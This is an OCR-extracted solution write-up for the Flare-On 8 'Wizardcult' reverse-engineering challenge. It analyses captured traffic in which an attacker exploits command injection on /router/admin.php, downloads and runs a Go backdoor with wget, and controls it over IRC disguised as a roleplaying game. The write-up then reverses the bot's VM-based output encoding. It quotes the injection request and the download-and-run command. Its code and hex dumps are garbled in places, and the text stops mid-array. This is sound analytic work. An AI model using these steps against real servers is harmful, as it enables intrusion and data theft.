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Challenge Prompt

We have one final task for you. We captured some traffic of a malicious cyber-space computer hacker interacting
with our web server. Honestly, | padded my resume a bunch to get this job and don't even know what a pcap file
does, maybe you can figure out what's going on.

Solution

Wizardcult is distributed as a PCAP that contains several interactions between an attacker (172.16.30.249)
and a target system (172 .16.30.245). The target system is running an HTTP server, and only one URL is
hit by the attacker (/router/admin.php). This URL appears to have a command injection vulnerability in it,
as TCP stream 0 contains a request to
/router/admin.php?auth=ADMIN%$200r%201=1&cmd=1d and the response contains typical
output for the id command Figure 1.

>
M Wireshark - Follow TCP Stream (tcp.stream eq 0) - wizardcult

GET /router/admin.php?auth=ADMIN%200r%201=1&cmd=id HTTP/1.1
Host: 172.16.30.245

User-Agent: curl/7.47.0

Accept: */*

HTTP/1.1 200 OK

Date: Tue, 13 Jul 2021 19:29:39 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 66

Content-Type: text/html; charset=UTF-8

<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>

Figure 1: First HTTP request

TCP stream 1 shows the attacker executing wget -O /mages tower/induct
http://wizardcult.flare-on.com/induct, and stream 2 shows the target system downloading
a file from that URL (which is an ELF executable). TCP stream 3 marks the induct binary as executable, and
stream 4 executes the induct binary. TCP stream 5 shows the target system connecting to the attacker on port

6667 (IRC) and joining an IRC server. The messages exchanged in that stream suggest that the two machines
are playing a strange roleplaying game (Figure 2). Decoding these messages will be the core of this challenge.
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—m—ean — B —
M Wireshark - Follow TCP Stream (tcp.stream eq 5) - wizardcult [ —— S~ =4 =
CAP LS 302
NICK Izahl

:irc.local NOTICE Auth :*** Looking up your hostname...

USER user * * :Example bot

:irc.local NOTICE Auth :*** Could not resolve your hostname: Request timed out; using your IP address (172.16.30.245) instead.
:irc.local NOTICE Auth :Welcome to .Localnet.!

:irc.local @81 Izahl :Welcome to the Localnet IRC Network Izahl!user®172.16.30.245

:irc.local @82 Izahl :Your host is irc.local, running version InspIRCd-2.0

:irc.local @83 Izahl :This server was created on Debian

:irc.local @84 Izahl irc.local InspIRCd-2.@ iosw biklmnopstv bklov

:irc.local @85 Izahl AWAYLEN=280 CASEMAPPING=rfcl459 CHANMODES=b,k,1,imnpst CHANNELLEN=64 CHANTYPES=# CHARSET=ascii ELIST=MU
FNC KICKLEN=255 MAP MAXBANS=60 MAXCHANNELS=20 MAXPARA=32 :are supported by this server

:irc.local @85 Izahl MAXTARGETS=2@ MODES=2@ NETWORK=Localnet NICKLEN=32 PREFIX=(ov)@+ STATUSMSG=@+ TOPICLEN=307 VBANLIST
WALLCHOPS WALLVOICES :are supported by this server

:irc.local @42 Izahl 811AAAAAC :your unique ID

tirc.local 375 Izahl :irc.local message of the day

:irc.local 372 Izahl :- Welcome to the Wizard Cult

.local 372 Izahl :-

:irc.local 372 Izahl :- Rules:

:irc.local 372 Izahl :-

l| :irc.local 372 Izahl :- 1. Always be casting

|| :irc.local 372 Izahl :-

:irc.local 372 Izahl :- 2. No martial classes

:irc.local 372 Izahl :-

:irc.local 372 Izahl :- 3. Don't polymorph the DM

:irc.local 372 Izahl :-

:irc.local 372 Izahl :- 4. No bards

:irc.local 376 Izahl :End of message of the day.

:irc.local 251 Izahl :There are 3 users and @ invisible on 1 servers

:irc.local 254 Izahl 1 :channels formed

:irc.local 255 Izahl :I have 3 clients and @ servers

:irc.local 265 Izahl :Current Local Users: 3 Max: 3

:irc.local 266 Izahl :Current Global Users: 3 Max: 3

JOIN #dungeon

:Izahl!user@®172.16.3@.245 JOIN :#dungeon

:irc.local 353 Izahl = #dungeon :@ImpartialObserver dung3onm4st3rl3 Izahl

:irc.local 366 Izahl #dungeon :End of /NAMES list.

WHO #dungeon %tacuhnr,1

MODE #dungeon

:irc.local 352 Izahl #dungeon chris 127.0.0.1 irc.local ImpartialObserver H@ :@ chris

:irc.local 352 Izahl #dungeon user 127.0.@.1 irc.local dung3onm4st3rl3 H :0 Example bot

:irc.local 352 Izahl #dungeon user 172.16.30.245 irc.local Izahl H :@ Example bot

:irc.local 315 Izahl #dungeon :End of /WHO list.

:irc.local 324 Izahl #dungeon +nt

:irc.local 329 Izahl #dungeon 1626204558

PRIVMSG #dungeon :Hello, I am Izahl, a 5 level Sorceror. I come from the land of Dewsbury-Hankala-Beckinsdale-Oldham.
:dung3onm4st3rl3!user@127.0.0.1 PRIVMSG #dungeon :Izahl, what is your quest?

PRIVMSG #dungeon :My quest is to retrieve the Big Pterodactyl Fossil

:dung3onm4st3rl3!user@127.0.0.1 PRIVMSG #dungeon :Izahl, welcome to the party.

:dung3onm4st3rl3!user@127.0.8.1 PRIVMSG #dungeon :Izahl, you have learned how to create the Potion of Acid Resistance. To brew
it you must combine magnifying glass, kernels of grain, silver spoon, fish tail, undead eyeball, undead eyeball, coal, ash,
silver rod, gold-inlaid vial, rose petals, silver rod, honeycomb, phosphorus, undead eyeball, kernels of grain, tarts, bone,
undead eyeball, coal, undead eyeball, tentacle of giant octopus or giant s

:dung3onm4st3rl3!user®127.0.0.1 PRIVMSG #dungeon :quid, glass sliver, honeycomb, rose petals, pearl, snaketongue, undead
eyeball, adamantine, bone, undead eyeball, tentacle of giant octopus or giant squid, focus, polished marble stone, gum arabic,
an item distasteful to the target, mistletoe sprig, undead eyeball, kernels of grain, reed, bone, undead eyeball, ice, crystal
bead, an item distasteful to the target, mistletoe sprig, gum arabic, an it

-
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Figure 2: Start of the IRC session

Setting aside the IRC traffic, opening the induct binary in a disassembler such as IDA Pro will show that this is

a very large binary written in Go that contains over 5000 functions. Thankfully, the binary has full (and useful!)

symbols, so a lot of the reverse engineering is already done. Reversing the general structure of the binary is easy
(albeit tedious), and so this document will not go into detail into how to reverse Go code. The binary is a backdoor
that connects to a command and control (C2) server over IRC and communicates in an encoded fashion. Here is

a list of the important modules contained in this binary:
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main Entrypoint of the binary, connects to the C2 server
over IRC and has handlers for the CONNECTED and
PRIVMSG events

wizardcult_comms Processes messages from the C2 server, handles the
message, and encodes the output to be sent back

wizardcult potion Each potion is a backdoor command, and contains an
ID (the name of the potion), an associated dungeon, a
handler function, and a VM program that is used to
encode the output of the handler. The VM program is
set dynamically by the C2 server. There are four
potions, but only two have handler functions.

wizardcult_tables This module contains a bunch of lookup tables that
map strings to numbers, as well as some helper
methods for using those tables

wizardcult_vm Contains the implementation of the virtual machine
used to interpret the potion output encoding
programs. This will be discussed in detail later.

The next step is to reverse engineer the communication protocol, which is implemented in the

wizardcult comms module aswellasmain main_ funcl (CONNECTED handler) and

main main func2 (PRIVMSG handler).

Upon connecting to the C2 server, the binary picks a random name, joins the #dungeon channel, and
exchanges a short handshake with the C2 as seen in Figure 3. The handshake contains some information about
the target system but is irrelevant to solving the challenge. This is all implemented in the CONNECTED handler,

main main funcl.

JOIN #dungeon

:Izahl!user®172.16.3@.245 JOIN :#dungeon

:irc.local 353 Izahl = #dungeon :@ImpartialObserver dung3onm4st3rl3 Izahl

:irc.local 366 Izahl #dungeon :End of /NAMES list.

WHO #dungeon %tacuhnr,1

MODE #dungeon

tirc.local 352 Izahl #dungeon chris 127.0.0.1 irc.local ImpartialObserver H@ :@ chris
:irc.local 352 Izahl #dungeon user 127.0.0.1 irc.local dung3onm4st3rl3 H :@ Example bot
tirc.local 352 Izahl #dungeon user 172.16.30.245 irc.local Izahl H :@ Example bot
tirc.local 315 Izahl #dungeon :End of /WHO list.

tirc.local 324 Izahl #dungeon +nt

tirc.local 329 Izahl #dungeon 1626204558

PRIVMSG #dungeon :Hello, I am Izahl, a 5 level Sorceror. I come from the land of Dewsbury-Hankala-Beckinsdale-Oldham.
:dung3onm4st3rl3!user@127.0.0.1 PRIVMSG #dungeon :Izahl, what is your quest?

PRIVMSG #dungeon :My quest is to retrieve the Big Pterodactyl Fossil
:dung3onm4st3rl3!user@127.0.0.1 PRIVMSG #dungeon :Izahl, welcome to the party.

Figure 3: Initial handshake

main main func?2 (the PRIVMSG handler) checks to see if the message sender is
dung3onmé4st3rl3, and contains some code to reassemble multipart messages (essentially, a period is
treated as the message end). The reassembled message is passed to

wizardcult comms ProcessDMMessage, unless the message contains “Rocks fall”, in which case
the binary exits.

ProcessDMMessage is complex, and implements the following communication protocol:
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<name>, you have learned how to
create the <potion name>. To brew
it you must combine <ingredients
list>.

I have now learned to brew the
<potion name>

Decodes the ingredients list using
the ingredients lookup table, and
sets the VM program for the
specified potion to the decoded
data. The VM loader is invoked.

<name>, you enter the dungeon
<dungeon name>. It is <adjectives
list>.

| draw my sword and walk forward
into <dungeon name> carefully, my
eyes looking for traps and my ears
listening for enemies.

Sets the contents of the dungeon
variable to the decoded adjectives
list (using the adjectives lookup
table). This variable means
different things for each
potion/dungeon.

<name>, you encounter a
<monster> in the distance. It stares
at you imposingly. <potion
descriptor>. What do you do?

| quaff my potion and attack!

| cast <spell> on the <monster> for
<num>d<num> damage!

The specified potion has its
handler function called, with the
contents of the dungeon variable
set earlier as the argument. Any
output from the handler is encoded
with the VM program, and then
transferred back using the spell
protocol.

Rocks fall and <name> dies.

None

Signals the bot to exit.

The next step is to extract the relevant data from the PCAP. There are three possible pieces of data:

e VM Programs (transmitted as potion ingredients, simple lookup table)
¢ Dungeon variable contents (transmitted as adjectives, simple lookup table)
e Monster attack outputs (transmitted as spells, 3 bytes at a time, one as a lookup table, two as raw

numbers).

The PCAP contains two sets of each of these:

e Potion of Acid Resistance, which is associated with the ‘Graf's Infernal Disco’ dungeon and the Goblin

monster

e Potion of Water Breathing, which is associated with “The Sunken Crypt’ dungeon and the Wyvern

monster

Due to the way Go works, it is a little annoying to grab the lookup table from the program. Strings in Go are not
null terminated, so extracting the strings requires knowing the length as well. Thankfully, the string pointers and
lengths are stored together. Looking at wizardcult tables Ingredients (0x94B580) (Figure 4),
each array element is 16 bytes long, with the first QWORD being a pointer to the start of the string and the
second QWORD the length. An IDAPython script is easily capable of extracting the lookup table.
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Figure 4: wizardcult_tables_Ingredients

Once the lookup table is extracted, it’s easy to convert the ingredients list to the decoded VM program. Each
ingredient is searched for in the ingredient’s lookup table, and uses the found index as one byte of data. For the
Potion of Acid Resistance, this yields the data in Figure 5.

00000000: 5fff 8103 0101 0750 726f 6772 6led 01ff  ...... Program. .
00000010: 8200 0107 0105 4de6l 6769 6301 0400 0105 ...... Magic.....
00000020: 496e 7075 7401 ££84 0001 O064f 7574 7075 Input...... Outpu
00000030: 7401 ££86 0001 0443 7075 7301 f££f8e 0001 t...... Cpus.....
00000040: 0452 4f£4d 7301 ££94 0001 0452 414d 7301 .ROMs...... RAMs.
00000050: ££98 0001 054c 696e 6b73 01ff 9c00 0000 ..... Links......
00000060: 22ff 8303 0101 Ob49 6e70 7574 4465 7669 "...... InputDevi
00000070: 6365 O01ff 8400 0101 0104 4e6l 6d65 010c ce........ Name. .
00000080: 0000 0023 f££85 0301 010c 4f75 7470 7574 ... #...... Output
00000090: 4465 7669 6365 O01lff 8600 0101 0104 4e6l Device........ Na
000000a0: 6d65 010c 0000 0017 ££8d 0201 0108 5b5d me............ []
000000b0: 766d 2e43 7075 O1ff 8e00 O1ff 8800 0043 vm.Cpu......... C
000000c0O: ££87 0301 0103 4370 7501 ££88 0001 0501 ...... Cpu.......
000000d0: 0341 6363 0104 0001 0344 6174 0104 0001 .Acc..... Dat....
000000e0: 0250 6301 0400 0104 436f 6e64 0104 0001 .Pc..... Cond....
000000£0: 0c49 6e73 7472 7563 7469 6f6e 7301 f£f8c .Instructions...
00000100: 0000 001f ££8b 0201 0110 5b5d 766d 2e49 .......... [Jvm.I
00000110: 6e73 7472 7563 7469 6foe 01ff 8c00 01ff nstruction......
00000120: 8a00 0049 ££89 0301 010b 4%6e 7374 7275 ...I...... Instru
00000130: 6374 696f 6e0l f£f8a 0001 0601 064f 7063 ction........ Opc
00000140: 6f64 6501 0400 0102 4130 0104 0001 0241 ode..... AO..... A
00000150: 3101 0400 0102 4132 0104 0001 0242 6d01 1..... A2..... Bm.
00000160: 0400 0104 436f 6te6d4 0104 0000 0017 ££93 ....Cond........
00000170: 0201 0108 5b5d 766d 2e52 4f4d 01ff 9400 ....[]vm.ROM....
00000180: O01ff 9000 0029 ££8f 0301 0103 524f 4401 ..... ) ROM.
00000190: ££90 0001 0301 0241 3001 0400 0102 4131 ....... AO..... Al
000001a0: 0104 0001 0444 6174 6101 ££92 0000 0013 ..... Data.......
000001b0: ££91 0201 0105 5b5d 696e 7401 ££92 0001 ...... [lint.....
000001cO: 0400 0017 ££97 0201 0108 5b5d 766d 2e52 .......... [Jvm.R
000001d0: 414d 01ff 9800 Olff 9600 0029 ££95 0301 AM......... ) e
000001e0: 0103 5241 4401 ££96 0001 0301 0241 3001 ..RAM........ AQ.
000001£0: 0400 0102 4131 0104 0001 0444 6174 6101 ....Al..... Data.
00000200: ££92 0000 0018 ££f9b 0201 0109 5b5d 766d ............ []vm
00000210: 2ed4c 696e 6b01 ff9c 0001 f£9a 0000 40ff .Link......... Q.
00000220: 9903 0101 044c ©696e 6b01 ££f9a 0001 0401 ..... Link.......
00000230: 084c 4844 6576 6963 6501 0400 0105 4c48 .LHDevice..... LH
00000240: 5265 6701 0400 0108 5248 4465 7669 6365 Reg..... RHDevice
00000250: 0104 0001 0552 4852 6567 0104 0000 007a ..... RHReg..... z
00000260: f££82 0Olfe 266e 0100 0100 0102 0507 0102 ....&N...v.vvnn..

00000270: 0208 0206 0001 0a0l1 0801 0102 0200 0102 .......ciiivvnnn.
00000280: 0101 0102 0204 0102 0001 0202 0802 0601 ......viievnnn.
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00000290: 0200 0102 0108 0104 0206 0001 0201 0401 ...,
000002a0: 0802 0600 0102 0108 0102 0206 0000 0503 .......iuiiuon..
000002b0: 0102 0208 0206 0001 2401 feO1 4400 0102 ........ $...D...
000002c0O0: 0108 0306 0000 0303 0304 0001 0401 0201 ........viuonn.
000002d40: 0200 0104 0104 0106 O0OOO L. oo...

Figure 5: Potion of Acid Resistance

The same process can be used to decode the dungeon variable contents, which do not have any other layers of
encoding. For the spells, the bot sends a large number of messages, each transmitting up to 3 bytes (ie, “I cast
Stinking Cloud on the Wyvern for 116d157 damage!” transmits 80, 116, and 157). The first byte is interpreted
using the Spells lookup table, and the other two bytes are simply interpreted as decimal. Decoding the output of
the Goblin spells leads to the data in Figure 6.

00000000: clcd cdce fdd5 cbd8 c¢c3d0 c6fd cfc7 ... ...
00000010: 8cd2 ccchb a8cb ccc6 d7cl dea8 L.,

Figure 6: Goblin data

The same process can be repeated for the Potion of Water Breathing and the Wyvern. It is possible to guess the
encoding used by the Potion of Acid Resistance, but the encoding used by the Potion of Water Breathing is
complex enough that it cannot be guessed. The contents of Graf’s Infernal Disco is setto 1s

/mages_tower, and the contents of The Sunken Crypt is set to

/mage s t ower/cool_wi zard meme.png. ltis trivial to deduce that the Potion of Acid Resistance
handler executes a command and sends back that output, and that the Potion of Water Breathing reads a file and
sends it to the C2 server.

Now that the necessary data is acquired, it is time to figure out how to decode it.

Part 2: Reversing the VM

The VM program has some helpful strings in it, but doesn’t contain enough information to reverse it fully. Looking
atthe wizardcult vm LoadProgram function, we see that it contains a call to

encoding gob  ptr Decoder Decode (Figure 7). Gob is a Go specific serialization library, the
docs are available at https://pkg.go.dev/encoding/gob. Gob blobs helpfully contain the names of fields and their
types in the structure. Through trial and error, or using a library such as PyGob
(https://github.com/mgeisler/pygob), it is possible to recover the structures used for the VM, which are shown in
Figure 8. The full Go definitions are shown here for completeness, not all the fields are exported into the
serialized program.
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rcall wizardcult_vm_LoadProgra >(__int64 al, _ int64 a2, _ int64 a3)
COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTh_»"+" TO EXPAND]
*)runtime_newobject((__int64)&unk_7186EQ);
[2]

( runtime_writeBarrier )
runtime_gcWriteBarrier(

il *)runtime_newobject((__int64)&unk_734000);
v28 encoding_gob_NewDecoder((__in )&go_itab__ bytes Buffer_io_Reader
encoding_gob__ ptr_Decoder__ Decode( » (__int64)&unk_6FE4C@, (__ inté6

akechan((__int64)&unk_6E7840, OL

Figure 7: Program loader, with Gob

type Cpu struct {
Acc int
Dat int
Pc int
Cond int
Instructions []Instruction
x0 chan int
x1 chan int
x2 chan int
x3 chan int
control chan int

type Instruction struct {
Opcode int
AQ0 int
Al int
A2 int
Bm int
Cond int

type Link struct {
LHDevice int
LHReg int
RHDevice int
RHReg int

type InputDevice struct {
Name string
x0 chan int
input chan int
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control chan int

}

type OutputDevice struct {
Name string
x0 chan int
output chan int
control chan int

}

type ROM struct {

A0 int

Al int

Data []int

x0 chan int

x1 chan int

x2 chan int

x3 chan int
control chan int

}

type RAM struct {

A0 int

Al int

Data []int

x0 chan int

x1 chan int

x2 chan int

x3 chan int
control chan int

}

type Program struct {
Magic int
Input InputDevice
Output OutputDevice

Cpus []Cpu

ROMs []ROM

RAMs []RAM

Links []Link
controls []chan int

}

Figure 8: VM Types

The design of this VM is a bit strange, especially when compared to other VMs used in CTF challenges. The
Program struct can contain an unlimited number of CPU structs, which suggests that this challenge is built
around multiple CPUs and parallel programming. Parsing the first program (the Potion of Acid Resistance, shown
in Figure 9), shows that there are two CPUs in this program each with a different set of instructions.

Program (Magic=4919, Input=InputDevice (Name=b''), Output=OutputDevice (Name=b''),
Cpus=[Cpu (Acc=0, Dat=0, Pc=0, Cond=0, Instructions=[Instruction (Opcode=1, A0=0,
Al=4, A2=0, Bm=3, Cond=0), Instruction (Opcode=5, A0=4, Al=-1, A2=0, Bm=1, Cond=0),
Instruction (Opcode=1, AO=-1, Al=1l, A2=0, Bm=2, Cond=1l), Instruction (Opcode=1, A0=0,
Al=4, A2=0, Bm=3, Cond=1l), Instruction (Opcode=1, A0=4, Al=2, A2=0, Bm=3, Cond=0),
Instruction (Opcode=1, A0=2, Al=4, A2=0, Bm=3, Cond=0), Instruction (Opcode=1l, A0=4,
Al=1, A2=0, Bm=3, Cond=0)]), Cpu(Acc=0, Dat=0, Pc=0, Cond=0,
Instructions=[Instruction (Opcode=1, A0=0, Al=4, A2=0, Bm=3, Cond=0),




Challenge 10: Wizardcult | Flare-On 8

Instruction (Opcode=18, A0=162, Al=0, A2=0, Bm=0, Cond=0), Instruction (Opcode=1,
AO=4, Al1=0, A2=0, Bm=3, Cond=0)])], ROMs=[], RAMs=[], Links=[Link (LHDevice=0,
LHReg=0, RHDevice=2, RHReg=0), Link(LHDevice=2, LHReg=1, RHDevice=1, RHReg=0),
Link (LHDevice=2, LHReg=2, RHDevice=3, RHReg=0)])

Figure 9: Raw Gob output for the Potion of Acid Resistance

Reverse engineering this VM can be rather tedious/difficult because of all the Go code. Examining the
Instruction structure, we see that it has six fields, Opcode, A0, A1, A2, A3, Bm, and Cond. It’s easy to
infer what Opcode is, and it can be inferred that the fields starting with ‘A’ are the arguments to each instruction
(although A2 is never actually used). By examining the wizardcult vm  ptr Cpu ExecuteMov
function (which implements the MOV instruction, see Figure 10), it can be determined that the Bm field is a bitmap
that indicates whether each argument refers to a register or an immediate value. Helpfully, the
wizardcult vm  ptr Cpu ExecuteMov function takes each field of the struct as an individual
argument rather than relying on structure offsets.

__int64 _ usercall wizardcult_vm__ ptr Cpu__ ExecuteM
__int64 cpu,
int a2,
__inte4 A1,
__inte4 Ao,
int as,
__int64 Bm)

» // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
while ( (unsigned __ int64)&retaddr <= *(_QWORD *)(__readfsqword(@xFFFFFFF3
runtime_morestack_noctxt();

f ( (Bm & 1) == 9 )

rdcult_vm__ ptr_Cpu_ SetRegister((_QWORD *)cpu, A@, v6);

return

er = wizardcult_vm__ ptr Cpu_ GetRegister(cpu, Al);

Figure 10: MOV instruction implementation

By examiningthe wizardcult vm  ptr Cpu SetRegister functionin Figure 11 (and possibly
the corresponding GetRegi ster function), we can figure out the registers. For registers 0-3, the Cpu calls
BlockWrite (or BlockRead) on that register, which contains some weird code relating to channels (since
we know this VM uses parallel programming, we can assume these are used for inter-CPU communication).
Registers 4 and 5 are general purpose registers (examining the arithmetic functions will show that most of them
store the result in register 4), and register 6 is a special NULL register that always reads 0 and discards any value
written to it.

10
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__int64 _ usercall wizardcult_vm__ ptr_Cpu_ Set ster@<rax>(_QWORD *cpu, _ int64 register_number, _ int64 value)

er_number

" return (unsigned _ int8)wizardcult_vm__ ptr_Cpu_ BlockWrite((__int64)cpu, c

ister_number )
er_number

return (unsigned _ int8)wizardcult_vm__ ptr_Cpu_ BlockWrite((__int64)cpu,
egister_number == 2 )

return (unsigned _ int8)wizardcult_vm__ ptr_Cpu_ BlockWrite((__int64)cpu,

Figure 11: SetRegister implementation

Finally, examining wizardcult vm  ptr Cpu Executelnstruction will show thatthe Cond
field can control whether an instruction is executed or not, based on a field in the Cpu structure (Figure 12). This
field is manipulated by several of the instructions (such as TEQ, TGT, and TLT) and appears to be set based on
the result of conditionals. This function also contains the mapping of opcodes to instruction mnemonics, which is
easy to recover since all the functions are labeled.

1"
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__int64 _ usercall wizardcult_vm__ ptr_Cpu__ ExecuteInstruction@<rax>(
QWORD *cpu,

int128 opcode,

int128 a@_al,

int64 Bm,

int64 Cond)

result = Cond;
if ( !Cond || cpu[3] == Cond )
I
L
result
if ( (__in

(unsigned __ int8)wizardcult_vm__ ptr_Cpu__ ExecuteXor(
(__int64)cpu,
int64 *)&opcode + 1),
ad_al,
DWORD2(a@_al),
Bm,
Cond);
unsigned _ int8)wizardcult_vm__ ptr_Cpu_ ExecuteShl(
int64)cpu,

Figure 12: Execute instruction implementation

Fans of Zachtronics video games (or those with adept Google-fu) may recognize the VM instructions as being
very similar to the ones used in the video game Shenzen /O (although there are quite a few changes). Studying
the programming language used in that game and applying that mindset to this challenge will make it much easier
to reverse engineer the virtual machine.

After examining the ITnstruction structure, it's time to look at all the others. The Program struct contains
references to 5 different ‘devices’ that are used, their functions are summarized below:

¢ TInputDevice:asimple device that relays input from an outside source into the program

¢ OutputDevice:asimple device, that when written to, sends the output out of the VM

e Cpu: can execute instructions, and read/write from four IPC registers

¢ RAM: random access memory, has four IPC registers and two internal address registers. Reading from
IPC register 0 returns the first address register, writing to it sets the first address register. Reading from
IPC register 1 returns the value pointed to by the first address register and increments the first address
register. Writing to it writes the value to the address pointed to by the first address register and
increments the first address register. IPC registers 2 and 3 do the same things, but with the second
address register

e ROM: Same as RAM, but with initialized data and writes to the data IPC registers are ignored

The Program structure also contains an array of L ink structures, which link the various devices together via
their IPC registers. The Link structures only contain device IDs (not names) and register IDs, and reversing

12
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wizardcult vm LoadProgram shown in Figure 13 will indicate the following mapping of device IDs to
devices:

0: InputDevice

e 1: OutputDevice

e 2 through 2 + the number of Cpus: each CPU

e 2+ the number of Cpus through 2 + the number of Cpus + the number of ROMs: each ROM
e End of the ROMs through end of the device IDs: each RAM

13
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> + 43;
ardcult_vm_OutputDevice_wizardcult_vm_Device;

(__int64)v1s )

(__int64)v17 )

if ( v19 <= v18 - 2 )
runtime_panicIndex(

]

zardcult_vm_Device;

izardcult_vm_Device;

+ 8;
ardcult_vm_InputDevice_wizardcult_vm Device;

v25) HIDWORD(chanr
__golang *)(int, int)) )ﬂdemhce, channelld_);

Figure 13: Link implementation. Messy due to compiler inlining

There are a few other fields scattered around the structures (namely, the control channels that signal each device
to shutdown), but they are irrelevant for reversing the programs. With some work, a disassembler can be
produced, and the first program can be disassembled:

.links

;input -> main:x0

did 0 : 0 =did 2 : 0
;main:xl -> output:x0
did 2 : 1 =did 1 : 0

14
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;main:x2 -> encrypt:x0
did 2 : 2 = did 3 : 0

; main cpu, gets input, passes it other cpus, sends it back to output
; this way we can handle -1 easier
; x0 = input

; x1 = output

; X2 = encrypt

.Ccpu main

mov x0 acc

teq acc -1

; all complete

+ mov -1 x1

+ mov x0 acc ;hack to stall forever
mov acc x2 ; send to encrypt

mov x2 acc ; get it back

mov acc x1 ; send to output

; back to O

; x0 = input
.Cpu encrypt

; wait for input
mov x0 acc

; 'encrypt'

xor 162

; send it back
mov acc x0

Figure 14 — Potion of Acid Resistance program source code, with comments

This program is very simple: it XORs each byte sent to it with 162 and sends it back (single byte XOR encoding).
Decoding the Goblin data is very simple, and just decodes to a directory listing. Decoding that data encrypted with
the Potion of Water Breathing is not so simple.

Part 3: Reversing the Potion of Water Breathing

Running the Potion of Water Breathing through a disassembler shows the following program:

.links

;input -> main:x0

did 0 : 0 =did 2 : 0
;main:xl -> output:x0
did 2 : 1 =did 1 : 0

;main:x2 -> encrypt:x0

did 2 : 2 =did 3 : 0
;encrypt:xl -> sboxer:x0
did 3 : 1 =did 4 : O
;encrypt:xl -> sboxer:x0
did 3 : 1 =did 4 : O
;encrypt:x2 -> xorer:x0
did 3 : 2 =did 7 : 0

; sboxer:x1 -> sbox0:x0
did 4 : 1 = did 8 : 0
; sboxer:x2 -> sbox0:x1
did 4 : 2 = did 8 : 1

15
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; sboxer:x3 -

> sboxer2:x0

did 4 : 3 =did 5 : 0

; sboxer2:x1 -> sboxl:x0
did 5 : 1 =did 9 : 0

; sboxer2:x2 -> sboxl:xl1
did 5 : 2 = did 9 : 1

; sboxer2:x3 -> sboxer3:x0
did 5 : 3 =did 6 : 0

; sboxer3:x1

-> sbox2:x0

did 6 : 1 = did 10 : O
;sboxer:x2 -> sbox2:x1
did 6 : 2 = did 10 : 1
;xorer:x1l -> xkey:x0

did 7 : 1 = did 11 : 0
;xorer:x2 -> xkey:xl

did 7 : 2 = did 11 : 1

.Ccpu main
mov x0 acc
teq acc -1

+ mov -1 x1
+ mov x0 acc
mov acc X2
mov X2 acc
mov acc x1

.Cpu encrypt
mov x0 acc
mov acc x1
mov x1 acc
mov acc x2
mov X2 acc
mov acc x1
mov x1 dat
mov 128 acc
and dat

teq acc 128

+ mov dat acc
+ xXor 66 ;0x42
- mov dat acc
not 1337

and 255

mov acc x0

.cpu sboxer
mov x0 acc

tgt acc 99

+ mov acc x3
+ mov x3 x0
- mov acc x1
- mov x2 x0

.cpu sboxer?2
mov x0 acc

tgt acc 199
+ mov acc x3
+ mov x3 x0

16
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- sub 100
- mov acc x1
- mov x2 x0

.cpu sboxer3

mov
sub
mov
mov

.Ccpu
mov
and
teq
mov
mov

x0 acc
200
acc x1
x2 x0

x0rer
x1l acc
1

acc 1
x0 dat
X2 acc

+ not 1337
+ and 255
xor dat

mov acc x0

. rom
<rom

. rom

<rom

. rom
<rom

sbox0
data>

sbox1

data>

sbox?2
data>

. rom
<rom

xkey
data>

Figure 15: Potion of Water Breathing disassembly

The full program with comments and ROM data is available in Appendix A. The encoding is used is not very
difficult to reverse but is complex enough that it is unguessable. The only hard parts of reversing this encoding are
recognizing that the three Cpus that link together and to three ROMs implement a substitution box (S-Box), and
recognizing that the ‘xorer’ Cpu implements multi byte XOR encoding using the key

‘all mY homles h4t3 b4drds’(which is stored in a ROM).

The encryption algorithm can be reimplemented in Python with the following snippet:

sbox
34,
206,
244,
118,
43,
211,
150,
93,
19,
164,
161,

33,
66,

(90,
129,
120,

149,

28,
205,

240,

11,
251,

2,

81,

158,

159,

241,
134,

253,

236,
220,

48,
137,

132,
32,

141,

147, 21,

80,
31,

196,

6,

62,
64,
30,
171,
79,
207,
168,
242,
238,
247,

221,
195,

204,

69,
0,

83,

68,
119,
73,
112,
105,
108,
52,

136,

55,

229,
183,
146,

217,

174,
160,

209,

37,
255,
239,

202,
103,
215,
212,

17,
246,

203,

35,

163,

1le,
162,

232,
175,
143,
182,
199,
14,
12,
127,
176,

213,
170,

249,
248,

1,

13,

191,

144,

123,
92,

243,
113,
100,
122,
138,
152,
72,
177,
156,

89,
115,

50,
82,
le6,

20,

128,

39,
165,

142,
234,

87,
4,

181,

140,
190,
86,

254,
139,
224,

78,

121,
185,

106,
231,
95,

70,
84,

166,

245,
172,
63,

26,
155,

218,
197,

184,

23,

188,

222,
131,

T,

167,

178,

61,
24,

189,

57,
194,

29,

145,
75,
25,

36,

99,
228,

109,

94,

216,

88,

65,

225,
124,
201,
53,
27,
71,
230,
133,

97,

219,

22,

104,
3,

193,

107,

154,

85,

56,

157,
P

8,

15,
42,

130,

60,
91,
40,

153,
44,
45,

111,

208,

125,
226,

169,

214,

51,
9,
7y
46,
67,
58,
250,
54, 179,
252,
235,
227,

101,
192,
114,

237,
98,

47,
4,

17
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18, 223, 9%e¢, 148, 41, 117, 126, 173, 233, 10, 49, 180, 187, 186, 135, 59, 38, 210,
110, 102, 200, 76, 151, 198]

inp = [ord(x) for x in sys.argv[1l]]

xkey = [ord(x) for x in "all mY homles h4t3 bdrds"]
out = []

kctr = 0
for i in inp:
v = sbox[i]
kb = xkeylkctr $ len(xkey)]
if (kctr % len(xkey)) & 1 ==
kb = kb ~ 255

v = v ~ kb

kctr += 1

v = sbox|[Vv]

if v & 128 == 128:
v = v ~ 0x42

v =v ~ 255
out.append (v)

print (out)

Figure 16: Python implementation of the encoding

Reversing this algorithm is quite straightforward, especially for a challenge this late in the challenge order. The
following Go function can decode that data encoded by this algorithm:

var sbox []byte = []byte{90, 132, 6, 69, 174, 203, 232, 243, 87, 254, 166, 6l, 94,
65, 8, 208, 51, 34, 33, 129, 32, 221, 0, 160, 35, 175, 113, 4, 139, 245, 24, 29,
225, 15, 101, 9, 206, 66, 120, 62, 195, 55, 202, 143, 100, 50, 224, 172, 222, 145,
124, 42, 192, 7, 244, 149, 159, 64, 83, 229, 103, 182, 122, 82, 78, 63, 131, 75,
201, 130, 114, 46, 118, 28, 241, 30, 204, 183, 215, 199, 138, 16, 121, 26, 77, 25,
53, 22, 125, 67, 43, 205, 134, 171, 8, 146, 212, 14, 152, 20, 185, 155, 167, 36,
27, 60, 226, 58, 211, 240, 253, 79, 119, 209, 163, 12, 72, 128, 106, 218, 189, 216,
